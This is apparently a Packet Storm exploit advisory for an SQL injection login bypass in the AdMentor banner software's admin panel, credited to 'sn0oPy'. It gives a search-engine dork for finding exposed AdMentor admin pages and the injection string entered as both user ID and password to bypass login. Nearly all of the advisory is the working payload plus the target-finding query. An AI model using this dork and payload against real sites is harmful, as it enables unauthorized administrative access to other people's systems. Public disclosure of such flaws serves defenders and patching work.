AdMentor suffers from a SQL injection vulnerability that allows for login bypass.
963c580bc9e516ab4a0a77b6412697f0b757200ddd54f6e66e93392c639e7af7* AdMentor (banners) admin SQL injection
* By : sn0oPy
* Risk : high
* Site : http://www.aspcode.net/products/admentor
* Dork : inurl:"admentor/admin"
* exploit :
UserID = 'or' '='
Password = 'or' '='
* contact : sn0oPy.team@gmail.com
* greetz : [subzero], Avg Team(http://forums.avenir-geopolitique.net).
references : http://forums.avenir-geopolitique.net/viewtopic.php?t=2606
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed